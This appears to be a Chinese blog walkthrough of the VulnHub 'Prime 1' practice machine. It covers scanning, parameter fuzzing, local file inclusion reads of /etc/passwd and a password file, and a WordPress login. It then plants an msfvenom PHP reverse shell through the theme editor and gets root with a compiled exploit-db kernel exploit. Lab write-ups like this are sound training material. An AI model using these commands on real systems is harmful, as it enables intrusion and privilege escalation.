当前位置: 首页 > news >正文

vulnhub-prime1

目录

  • 靶场环境
  • 解题过程

靶场环境

项目ip
靶机(prime)未知
攻击机(kali)10.128.129.128

解题过程

打开靶机,我们只能看见一个登录界面,上面只有半截提示
请添加图片描述
我们首先要做的是主机发现,因为是网络适配器NAT模式,因此我们只需要在一个使用同样网卡NAT模式下的机器即可,这里我们用的是kali,

nmap -sP 10.128.129.1/24

请添加图片描述
可以看到,这里发现了六个主机,我们只需要根据物理网卡来获取正确的ip地址即可,在Vmware中,打开虚拟机prime的虚拟机设置,在网络适配器界面的高级界面即可看到物理网卡地址(MAC地址),再结合上面的五台主机,可以判断出目标靶机的ip为10.128.129.131

请添加图片描述
得到目标主机后,我们还需要知道看看主机有哪些端口可以利用,这里还是利用nmap工具,不得不说,这个工具是真好用。

nmap -A -p- -v 10.128.129.131

在这里插入图片描述
可以看到这里开放了两个端口,80端口和22端口,22是ssh,而80端口是HTTP的服务端口,意思是我们可以直接利用浏览器来利用这个端口。

http://10.128.129.131/

在这里插入图片描述
在这里插入图片描述

可以看到,这里通过80端口访问到了服务器,但是服务器中只有一张图片,查看源代码后也没有任何提示信息,毫无头绪?,那就开始目录扫描!

dirb http://10.128.129.131/

在这里插入图片描述
这里看到工具扫到了很多的目录,大部分是wordpress目录下的内容,但是这个只是一个开源的博客程序,所以我们这里把重心放在第一条dev文件中

http://10.128.129.131/dev

在这里插入图片描述
可以看到,页面有了回显,是个提示内容

你好现在你处于 0 级阶段。在现实生活中的渗透测试中,我们应该使用我们的工具非常努力地挖掘 Web。祝您黑客愉快。

大致意思就是,我们简单的目录扫描是根本扫不出来的,那么我们就需要利用工具进行深入扫描,那么我们在这里扫一些常见的文件类型进行深入扫描。

dirb http://10.128.129.131/ -X .txt,.php,.zip

在这里插入图片描述
可以看到,扫到了一些内容,index.php是首页,可以忽略,那么我们对那两个文件进行访问

第一个:image.php
在这里插入图片描述

在这里插入图片描述

可以看到,这里还是一个图片,跟之前的一摸一样,源代码也大差不大,没有什么提示

第二个:secret.txt
在这里插入图片描述
这里是一段文本内容

看来你有一些秘密。好的,我只是想帮你一些忙。在您找到的 php 的每一页上多做一些模糊测试。如果
您获得任何正确的参数,然后按照以下步骤操作。如果你还是卡住了
从这里学习一个基本工具,它对 OSCP 有很好的使用。https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web//看到location.txt,你会得到你的下一步//

这是一段提示内容,他的意思是让我们在php文件中做文章,做FUZZ爆破,爆破出参数名,然后再访问location.txt。php的文件我们已经扫出来了,一共两个,相比与index,明显image更可疑,

知道了大概思路,我们就开干!

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/image.php?FUZZ

在这里插入图片描述
可以看到,它弹出了很多东西,我们这里只需要进行过滤即可,可以按照word,也可以通过chars过滤。

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/image.php?FUZZ 

在这里插入图片描述

可以看到,这里我们没有扫到什么东西,看来是猜错了>_<
那么,再试试另外一个php文件吧

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/index.php?FUZZ 

在这里插入图片描述
还是一样,过滤掉其他大多数字符

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/index.php?FUZZ 

在这里插入图片描述
终于筛出来了,字段名叫file,那么我们这里直接访问location.txt即可

http://10.128.129.131/index.php?file=location.txt

在这里插入图片描述
可以看到页面有回显了,又是一段提示,翻译过来就是:

做得更好好的,现在你真的在确切的参数上现在为下一个挖掘更多
在其他 PHP 页面上使用 'secrettier360' 参数以获得更多乐趣。

看的出来,这次很明显了,提示我们去image.php文件,用secrettier360作字段名为去访问,那么问题来了,我们访问什么呢?

这里也没有提示了,这么利用我们的尝试,靶场是ubuntu的系统,那么这个系统里是不是有一些默认的文件夹呢?
有,比如/etc/passwd,那么我们试着访问一下

http://10.128.129.131/image.php?secrettier360=/etc/passwd

ke

在这里插入图片描述

可以看到,页面有了回显了,在最后一行,作者藏了一个提示,很阴间啊。
在这里插入图片描述
提示内容为:

find password.txt file in my directory:/home/saket翻译一下:
在/home/saket目录中找到password.txt

这段提示很眼熟啊,有没有感觉在哪里见过?
请添加图片描述
在这里,开始的页面,这原来是那半截提示

回到正题,它已经给了我们提示了,那么就试着去访问一下

http://10.128.129.131/image.php?secrettier360=/home/saket/password.txt

在这里插入图片描述
果然是有了内容,翻译一下

最后,您得到了正确的参数follow_the_ippsec

这个字符的文件名是password,看来这是一个密码
那么此时得到一个密码可以做什么呢?这时候就需要冷静一下,仔细回想还有没有什么漏下的条件。
关于密码,再结合目前条件,好像能用的只有ssh,那么我们可以去靶机界面登录一下试试看
请添加图片描述
可以看到这个办法不太行

还记得我们之前说过wordpress是一个开源的博客程序吗?我们目前来说,只能去博客碰碰运气,看看是不是某个用户登录的密码。

http://10.128.129.131/wordpress/

在这里插入图片描述
可以看到,我们进入了博客的首页,那么在Meta的下面有个Log in,我们进入这个页面尝试登录
在这里插入图片描述
进入这个页面后,我们只知道密码,不知道账号,还是无从下手,怎么办呢?
这时候就体现出wordpress的一个特性了,当创建好一个wordpress平台后,会用管理员账户自动发表一篇博客,内容就在首页,如下图
在这里插入图片描述
那么这里的victor就是管理员的用户了,单机victor,你会发现url中出现了author=1,这个1可能就是root用户的编号,那么我们再来试试其他的
当你尝试2,3,4等简单数据时,会发现好像很难找到一些用户,那么这里我们用工具cmseek去爆破

wpscan --url http://10.128.129.131/wordpress/ --enumerate u

在这里插入图片描述
可以看到,这里它只发现了一个用户,那么我们再碰碰运气,看看账号密码是否匹配

在这里插入图片描述
可以看到,我们这里登入了进去,已经进入了程序后台。那么接下来我们该怎么办呢?

wordpress还有个特性,在后台的Appearance的Theme Editor,这是个主题编辑器,用来编辑格式等内容,这部分内容会被执行,那么我们就会有很多方法了,这里我们尝试上传内容,实现反弹链接,从而实现获得root权限

在这里插入图片描述

大致思路有了,接下来就是找一个地方,让我们可以编译并运行。

在这里插入图片描述

可以看到,我们在右侧选中secret.php时,页面有了提示

哦,你终于得到了一个可写的文件

这很明显就是提示了,我们直接在这里写即可
写什么内容呢?
这里我推荐一个MSF模块,它可以帮我们生成文件

msfconsole

在这里插入图片描述
只需要输入msfconsole即可进入模块,只需稍加等待模块启动即可

//这串命令可以生成一个shell.php的恶意文件用于反弹链接
//只需要把ip改为攻击机的ip即可
msfvenom -p php/meterpreter/reverse_tcp lhost=10.128.129.128 lport=7777 -o shell.php

在这里插入图片描述
可以看到,我们这里有了shell.php文件,我们接下来复制里面的内容即可

cat shell.php

在这里插入图片描述
在这里插入图片描述

把这段内容复制到刚才的网页的主题编辑器中,点击左下角的update File上传文件,并且在攻击机中的ms模块开始监听对应端口

//使用监听的模块
use exploit/multi/handler
//设置payload为php的反弹链接
set payload php/meterpreter/reverse_tcp
//设置监听的ip和端口
set lhost 10.128.129.128
set lport 7777
//开始监听
exploit

在这里插入图片描述

好,现在完事具备,只欠东风,我们只需要访问secret.php文件,即可在攻击机中完成反弹链接
访问地址在哪呢?
这也是wordpress的特征,可以说是固定格式吧

http://10.128.129.131/wordpress/wp-content/themes/twentynineteen/secret.php

在这里插入图片描述
访问之后可以看到完成反弹连接了,接下来,进行提权,获取root权限
我个人认为最简单的办法是利用现成的漏洞,那么这里我们看看操作系统的版本信息

sysinfo

在这里插入图片描述
这里获取到了操作系统的版本,是Ubuntu 16.04.2
这里我们再开一个命令窗口,进入msf模块,查看ubuntu的版本漏洞有没有可以直接利用的。

searchsploit 16.04 Ubuntu

在这里插入图片描述
可以看到,这里有一个能用的漏洞,路径为 linux/local45010.c,那么我们只需要将他拿出来用即可

再次新开一个命令窗口

//将文件copy到工作目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

在这里插入图片描述
复制过来后,我们还需要将其编译才能运用,它的后缀为c,那么我们可以直接在当前命令框中编译

gcc 45010.c -o 45010

在这里插入图片描述
好,此时就可以直接利用了,利用方式的话,只需要将该文件上传到靶机即可
我们切换到msf监听的窗口

upload /root/45010 /tmp/45010

在这里插入图片描述
此时我们看看这个文件上传上去后,有没有权限来运行

cd /tmp
ls

在这里插入图片描述
可以看到,没有运行的权限,那么我们只需要修改权限即可

//进入shell模式
shell
//进入tmp目录
cd /tmp
//修改权限
chmod +x 45010
//运行文件
./45010

此时就会发现自己是root用户了

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • YARN性能优化高频面试题及答案
  • 大表数据如何在OceanBase中进行表分区管理的实践
  • Shiro-550—漏洞分析(CVE-2016-4437)
  • 【笔记】第二节 轧制、热处理和焊接工艺
  • 同一时刻最多有多少会议进行
  • EP25 调试接口渲染分类页面
  • Android 内核开发之—— repo 使用教程
  • 电线覆盖物检测数据集 气球风筝鸟巢 1300张 voc yol
  • 【Windows】快速帮你解决如何找到 Windows 上的 .condarc 文件
  • set的相关函数(3)
  • 关于加强银行业保险业移动互联网应用程序管理的通知
  • python爬虫初体验(一)
  • 网络编程问题解答
  • C++教程(五):C++高手养成之代码规范,如何写出规范优雅的程序
  • C# Action和delegate区别及示例代码
  • 【162天】黑马程序员27天视频学习笔记【Day02-上】
  • 【css3】浏览器内核及其兼容性
  • 【跃迁之路】【669天】程序员高效学习方法论探索系列(实验阶段426-2018.12.13)...
  • 2018天猫双11|这就是阿里云!不止有新技术,更有温暖的社会力量
  • CSS3 变换
  • Docker 1.12实践:Docker Service、Stack与分布式应用捆绑包
  • HTTP传输编码增加了传输量,只为解决这一个问题 | 实用 HTTP
  • Java编程基础24——递归练习
  • JAVA并发编程--1.基础概念
  • JS学习笔记——闭包
  • NSTimer学习笔记
  • Python_网络编程
  • thinkphp5.1 easywechat4 微信第三方开放平台
  • vue学习系列(二)vue-cli
  • 初识MongoDB分片
  • 猴子数据域名防封接口降低小说被封的风险
  • 欢迎参加第二届中国游戏开发者大会
  • 浅谈web中前端模板引擎的使用
  • 如何利用MongoDB打造TOP榜小程序
  • 一个6年java程序员的工作感悟,写给还在迷茫的你
  • 阿里云服务器购买完整流程
  • ​决定德拉瓦州地区版图的关键历史事件
  • #ifdef 的技巧用法
  • $.each()与$(selector).each()
  • (function(){})()的分步解析
  • (牛客腾讯思维编程题)编码编码分组打印下标(java 版本+ C版本)
  • (淘宝无限适配)手机端rem布局详解(转载非原创)
  • (转)es进行聚合操作时提示Fielddata is disabled on text fields by default
  • (转)从零实现3D图像引擎:(8)参数化直线与3D平面函数库
  • . NET自动找可写目录
  • .apk 成为历史!
  • .bashrc在哪里,alias妙用
  • .FileZilla的使用和主动模式被动模式介绍
  • .net 重复调用webservice_Java RMI 远程调用详解,优劣势说明
  • .net6 core Worker Service项目,使用Exchange Web Services (EWS) 分页获取电子邮件收件箱列表,邮件信息字段
  • .NET使用HttpClient以multipart/form-data形式post上传文件及其相关参数
  • [ vulhub漏洞复现篇 ] Apache APISIX 默认密钥漏洞 CVE-2020-13945
  • [20170728]oracle保留字.txt
  • [AHOI2009]中国象棋 DP,递推,组合数
  • [Android]常见的数据传递方式